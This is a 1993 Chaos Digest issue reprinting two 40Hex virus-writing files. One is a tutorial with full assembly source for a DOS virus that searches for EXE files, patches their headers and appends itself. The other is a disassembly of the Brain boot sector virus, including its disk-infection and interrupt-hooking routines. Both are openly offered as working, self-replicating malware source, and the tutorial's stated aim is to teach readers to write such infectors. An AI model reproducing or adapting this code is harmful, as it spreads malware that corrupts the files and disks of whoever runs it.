Chaos Digest Samedi 3 Juillet 1993 Volume 1 : Numero 69 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.69 (3 Juillet 1993) File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352) 466893. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Number 8 Volume 2 Issue 4 #007-008(1) (reprint) 40Hex Number 8 Volume 2 Issue 4 File 007 _______________________________________ An Introduction to Nonoverwriting Virii Part II: EXE Infectors By Dark Angel _______________________________________ In the last issue of 40Hex, I presented theory and code for the nonoverwriting COM infector, the simplest of all parasitic virii. Hopefully, having learned COM infections cold, you are now ready for EXE infections. There is a grey veil covering the technique of EXE infections, as the majority of virii are COM-only. EXE infections are, in some respects, simpler than COM viruses. However, to understand the infection, you must understand the structure of EXE files (naturally). EXE files are structured into segments which are loaded consecutively atop one another. Thus, all an EXE infector must do is create its own segment in the EXE file and alter the entry point appropriately. Therefore, EXE infections do not require restoration of bytes of code, but rather involve the manipulation of the header which appears in the beginning every EXE file and the appending of viral code to the infected file. The format of the header follows: Offset Description 00 ID word, either 'MZ' or 'ZM' 02 Number of bytes in the last (512 byte) page in the image 04 Total number of 512 byte pages in the file 06 Number of entries in the segment table 08 Size of the header in (16 byte) paragraphs 0A Minimum memory required in paragraphs 0C Maximum memory requested in paragraphs 0E Initial offset in paragraphs to stack segment from header 10 Initial offset in bytes of stack pointer from stack segment 12 Negative checksum (ignored) 14 Initial offset in bytes of instruction pointer from code segment 16 Initial offset in paragraphs of code segment from header 18 Offset of relocation table from start of file 1A Overlay number (ignored) The ID word is generally 'ZM' (in the Intel little-endian format). Few files start with the alternate form, 'MZ' (once again in Intel little- endian format). To save space, a check for the alternate form of the EXE ID in the virus may be omitted, although a few files may be corrupted due to this omission. The words at offsets 2 and 4 are related. The word at offset 4 contains the filesize in pages. A page is a 512 byte chunk of memory, just as a word is a two byte chunk of memory. This number is rounded up, so a file of length 514 bytes would contain a 2 at offset 4 in the EXE header. The word at offset 2 is the image length modulo 512. The image length does not include the header length. This is one of the bizarre quirks of the EXE header. Since the header length is usually a multiple of 512 anyway, this quirk usually does not matter. If the word at offset 2 is equal to four, then it is generally ignored (heck, it's never really used anyway) since pre-1.10 versions of the Microsoft linker had a bug which caused the word to always be equal to four. If you are bold, the virus can set this word to 4. However, keep in mind that this was a bug of the linker and not all command interpreters may recognise this quirk. The minimum memory required by the program (offset A) can be ignored by the virus, as the maximum memory is generally allocated to the program by the operating system. However, once again, ignoring this area of the header MAY cause an unsucessful infection. Simply adding the virus size in paragraphs to this value can nullify the problem. The words representing the initial stack segment and pointer are reversed (not in little-endian format). In other words, an LES to this location will yield the stack pointer in ES and the stack segment in another register. The initial SS:SP is calculated with the base address of 0000:0000 being at the end of the header. Similarly, the initial CS:IP (in little-endian format) is calculated with the base address of 0000:0000 at the end of the header. For example, if the program entry point appears directly after the header, then the CS:IP would be 0000:0000. When the program is loaded, the PSP+10 is added to the segment value (the extra 10 accounts for the 100h bytes of the PSP). All the relevant portions of the EXE header have been covered. So what should be done to write a nonoverwriting EXE infector? First, the virus must be appended to the end of the file. Second, the initial CS:IP must be saved and subsequently changed in the header. Third, the initial SS:SP should also be saved and changed. This is to avoid any possible memory conflicts from the stack overwriting viral code. Fourth, the file size area of the header should be modified to correctly reflect the new size of the file. Fifth, any additional safety modifications such as increasing the minimum memory allocation should be made. Last, the header should be written to the infected file. There are several good areas for ID bytes in the EXE header. The first is in the stack pointer field. Since it should be changed anyway, changing it to a predictable number would add nothing to the code length. Make sure, however, to make the stack pointer high enough to prevent code overwrites. Another common area for ID bytes is in the negative checksum field. Since it is an unused field, altering it won't affect the execution of any programs. One further item should be mentioned before the code for the EXE infector. It is important to remember that EXE files are loaded differently than COM files. Although a PSP is still built, the initial CS does NOT point to it. Instead, it points to wherever the entry point happens to be. DS and ES point to the PSP, and therefore do NOT point to the entry point (your virus code). It is important to restore DS and ES to their proper values before returning control to the EXE. ----cut here--------------------------------------------------------------- .model tiny ;Handy TASM directive .code ;Virus code segment org 100h ;COM file starting IP ;Cheesy EXE infector ;Written by Dark Angel of PHALCON/SKISM ;For 40Hex Number 8 Volume 2 Issue 4 id = 'DA' ;ID word for EXE infections startvirus: ;virus code starts here call next ;calculate delta offset next: pop bp ;bp = IP next sub bp,offset next ;bp = delta offset push ds push es push cs ;DS = CS pop ds push cs ;ES = CS pop es lea si,[bp+jmpsave2] lea di,[bp+jmpsave] movsw movsw movsw movsw mov ah,1Ah ;Set new DTA lea dx,[bp+newDTA] ;new DTA @ DS:DX int 21h lea dx,[bp+exe_mask] mov ah,4eh ;find first file mov cx,7 ;any attribute findfirstnext: int 21h ;DS:DX points to mask jc done_infections ;No mo files found mov al,0h ;Open read only call open mov ah,3fh ;Read file to buffer lea dx,[bp+buffer] ;@ DS:DX mov cx,1Ah ;1Ah bytes int 21h mov ah,3eh ;Close file int 21h checkEXE: cmp word ptr [bp+buffer+10h],id ;is it already infected? jnz infect_exe find_next: mov ah,4fh ;find next file jmp short findfirstnext done_infections: mov ah,1ah ;restore DTA to default mov dx,80h ;DTA in PSP pop es pop ds ;DS->PSP int 21h mov ax,es ;AX = PSP segment add ax,10h ;Adjust for PSP add word ptr cs:[si+jmpsave+2],ax add ax,word ptr cs:[si+stacksave+2] cli ;Clear intrpts for stack manip. mov sp,word ptr cs:[si+stacksave] mov ss,ax sti db 0eah ;jmp ssss:oooo jmpsave dd ? ;Original CS:IP stacksave dd ? ;Original SS:SP jmpsave2 dd 0fff00000h ;Needed for carrier file stacksave2 dd ? creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 virusname db '[DemoEXE] for 40Hex',0 infect_exe: les ax, dword ptr [bp+buffer+14h] ;Save old entry point mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es les ax, dword ptr [bp+buffer+0Eh] ;Save old stack mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax mov ax, word ptr [bp+buffer + 8] ;Get header size mov cl, 4 ;convert to bytes shl ax, cl xchg ax, bx les ax, [bp+offset newDTA+26];Get file size mov dx, es ;to DX:AX push ax push dx sub ax, bx ;Subtract header size from sbb dx, 0 ;file size mov cx, 10h ;Convert to segment:offset div cx ;form mov word ptr [bp+buffer+14h], dx ;New entry point mov word ptr [bp+buffer+16h], ax mov word ptr [bp+buffer+0Eh], ax ;and stack mov word ptr [bp+buffer+10h], id pop dx ;get file length pop ax add ax, heap-startvirus ;add virus size adc dx, 0 mov cl, 9 ;2**9 = 512 push ax shr ax, cl ror dx, cl stc adc dx, ax ;filesize in pages pop ax and ah, 1 ;mod 512 mov word ptr [bp+buffer+4], dx ;new file size mov word ptr [bp+buffer+2], ax push cs ;restore ES pop es mov cx, 1ah finishinfection: push cx ;Save # bytes to write xor cx,cx ;Clear attributes call attributes ;Set file attributes mov al,2 call open mov ah,40h ;Write to file lea dx,[bp+buffer] ;Write from buffer pop cx ;cx bytes int 21h mov ax,4202h ;Move file pointer xor cx,cx ;to end of file cwd ;xor dx,dx int 21h mov ah,40h ;Concatenate virus lea dx,[bp+startvirus] mov cx,heap-startvirus ;# bytes to write int 21h mov ax,5701h ;Restore creation date/time mov cx,word ptr [bp+newDTA+16h] ;time mov dx,word ptr [bp+newDTA+18h] ;date int 21h mov ah,3eh ;Close file int 21h mov ch,0 mov cl,byte ptr [bp+newDTA+15h] ;Restore original call attributes ;attributes mo_infections: jmp find_next open: mov ah,3dh lea dx,[bp+newDTA+30] ;filename in DTA int 21h xchg ax,bx ret attributes: mov ax,4301h ;Set attributes to cx lea dx,[bp+newDTA+30] ;filename in DTA int 21h ret exe_mask db '*.exe',0 heap: ;Variables not in code newDTA db 42 dup (?) ;Temporary DTA buffer db 1ah dup (?) ;read buffer endheap: ;End of virus end startvirus ----cut here--------------------------------------------------------------- This is a simple EXE infector. It has limitations;for example, it does not handle misnamed COM files. This can be remedied by a simple check: cmp [bp+buffer],'ZM' jnz misnamed_COM continueEXE: Take special notice of the done_infections and infect_exe procedures. They handle all the relevant portions of the EXE infection. The restoration of the EXE file simply consists of resetting the stack and a far jmp to the original entry point. A final note on EXE infections: it is often helpful to "pad" EXE files to the nearest segment. This accomplishes two things. First, the initial IP is always 0, a fact which can be used to eliminate delta offset calculations. Code space can be saved by replacing all those annoying relative memory addressing statements ([bp+offset blip]) statements with their absolute counterparts (blip). Second, recalculation of header info can be handled in paragraphs, simplifying it tremendously. The code for this is left as an exercise for the reader. This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have yet to figure out how to write EXE infectors). Hopefully, this text can teach them (and everyone else) how to progress beyond simple COM and spawn- ing EXE infectors. In the next issue of 40Hex, I will present the theory and code for the next step of file infector - the coveted SYS file. +++++ 40Hex Number 8 Volume 2 Issue 4 File 008 ;This is the ashar variant of the classic Pakistani Brain virus. It is large ;by today's standards, although it was one of the first. It is a floppy only ;boot sector infector. brain segment byte public assume cs:brain, ds:brain ;Disassembly done by Dark Angel of PHALCON/SKISM org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE ' db ' RECORD v9.0 Dedicated to th' db 'e dynamic memories of millions o' db 'f virus who are no longer with u' db 's today - Thanks GOODNESS!! ' db ' BEWARE OF THE er..VIRUS : \th' db 'is program is catching prog' db 'ram follows after these messeges' db '..... $' db '#@%$' db '@!! ' entervirus: mov ax,cs mov ds,ax ;ds = 0 mov ss,ax ;set stack to after mov sp,0F000h ;virus sti mov al,ds:[7C00h+offset firsthead] mov ds:[7C00h+offset curhead],al mov cx,ds:[7C00h+offset firstsector] mov ds:[7C00h+offset cursector],cx call calcnext mov cx,5 ;read five sectors mov bx,7C00h+200h ;after end of virus loadnext: call readdisk call calcnext add bx,200h loop loadnext mov ax,word ptr ds:[413h] ;Base memory size in Kb sub ax,7 ;- 7 Kb mov word ptr ds:[413h],ax ;Insert as new value mov cl,6 shl ax,cl ;Convert to paragraphs mov es,ax mov si,7C00h ;Copy from virus start mov di,0 ;to start of memory mov cx,1004h ;Copy 1004h bytes cld rep movsb push es mov ax,200h push ax retf ;return to old boot sector readdisk: push cx push bx mov cx,4 ;Try 4 times tryread: push cx mov dh,ds:[7C00h+offset curhead] mov dl,0 ;Read sector from default mov cx,ds:[7C00h+offset cursector] mov ax,201h ;Disk to memory at es:bx int 13h jnc readOK mov ah,0 ;Reset disk int 13h ;(force read track 0) pop cx loop tryread int 18h ;ROM basic on failure readOK: pop cx pop bx pop cx retn calcnext: mov al,byte ptr ds:[7C00h+offset cursector] inc al mov byte ptr ds:[7C00h+offset cursector],al cmp al,0Ah jne donecalc mov byte ptr ds:[7C00h+offset cursector],1 mov al,ds:[7C00h+offset curhead] inc al mov ds:[7C00h+offset curhead],al cmp al,2 jne donecalc mov byte ptr ds:[7C00h+offset curhead],0 inc byte ptr ds:[7C00h+offset cursector+1] donecalc: retn ;the following is a collection of garbage bytes db 00h, 00h, 00h, 00h, 32h,0E3h db 23h, 4Dh, 59h,0F4h,0A1h, 82h db 0BCh,0C3h, 12h, 00h, 7Eh, 12h db 0CDh, 21h,0A2h, 3Ch, 5Fh a_data dw 050Ch ;Second part of the virus begins here jmp short entersecondpart db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter db 4 ;keep track of # reads curdrive db 0 int13flag db 0 entersecondpart: mov cs:readcounter,1Fh xor ax,ax mov ds,ax ;ds -> interrupt table mov ax,ds:[13h*4] mov ds:[6Dh*4],ax mov ax,ds:[13h*4+2] mov ds:[6Dh*4+2],ax mov ax,offset int13 ;276h mov ds:[13h*4],ax mov ax,cs mov ds:[13h*4+2],ax mov cx,4 ;4 tries xor ax,ax mov es,ax ;es -> interrupt table tryreadbootsector: push cx mov dh,cs:firsthead mov dl,0 mov cx,cs:firstsector mov ax,201h ;read from default disk mov bx,7C00h int 6Dh ;int 13h jnc readbootOK mov ah,0 int 6Dh ;int 13h pop cx loop tryreadbootsector int 18h ;ROM basic on failure readbootOK: ;return control to ;original boot sector ;* jmp far ptr 0000:7C00h db 0EAh, 00h, 7Ch, 00h, 00h nop ;MASM NOP!!! int13: sti cmp ah,2 ;if not read request, jne doint13 ;do not go further cmp dl,2 ;if after second floppy, ja doint13 ;do not go further cmp ch,0 ;if not reading boot sector, jne regularread ;go handle as usual cmp dh,0 ;if boot sector, je readboot ;do I<-/>/\|> stuff regularread: dec cs:readcounter ;Infect after 4 reads jnz doint13 ;If counter still OK, don't ;do anything else jmp short readboot ;Otherwise, try to infect doint13: jmp exitint13h readboot: ;FINISH THIS! mov cs:int13flag,0 ;clear flag mov cs:readcounter,4 ;reset counter push ax push bx push cx push dx mov cs:curdrive,dl mov cx,4 tryreadbootblock: push cx mov ah,0 ;Reset disk int 6Dh jc errorreadingbootblock ;Try again mov dh,0 mov cx,1 mov bx,offset readbuffer ;buffer @ 6BEh push es mov ax,cs mov es,ax mov ax,201h int 6Dh ;Read boot sector pop es jnc continuestuff ;continue if no error errorreadingbootblock: pop cx loop tryreadbootblock jmp short resetdisk ;too many failures nop continuestuff: pop cx ;get system id in boot block mov ax,word ptr cs:[offset readbuffer+4] cmp ax,1234h ;already infected? jne dodisk ;if not, infect it mov cs:int13flag,1 ;flag prev. infection jmp short noreset dodisk: push ds push es mov ax,cs mov ds,ax mov es,ax push si call writevirus ;infect the disk jc failme ;exit on failure mov cs:int13flag,2 ;flag success call changeroot ;manipulate volume label failme: pop si pop es pop ds jnc noreset ;don't reset on success resetdisk: mov ah,0 ;reset disk int 6Dh ;int 13h noreset: pop dx pop cx pop bx pop ax cmp cx,1 jne exitint13h cmp dh,0 jne exitint13h cmp cs:int13flag,1 ;already infected? jne wasntinfected ;if wasn't, go elsewhere mov cx,word ptr cs:[offset readbuffer+7] mov dx,word ptr cs:[offset readbuffer+5] mov dl,cs:curdrive ;otherwise, read real jmp short exitint13h ;boot sector wasntinfected: cmp cs:int13flag,2 ;successful infection? jne exitint13h ;if not, just do call mov cx,cs:firstsector mov dh,cs:firsthead exitint13h: int 6Dh ;int 13h retf 2 db 15 dup (0) ------------------------------ End of Chaos Digest #1.69 ************************************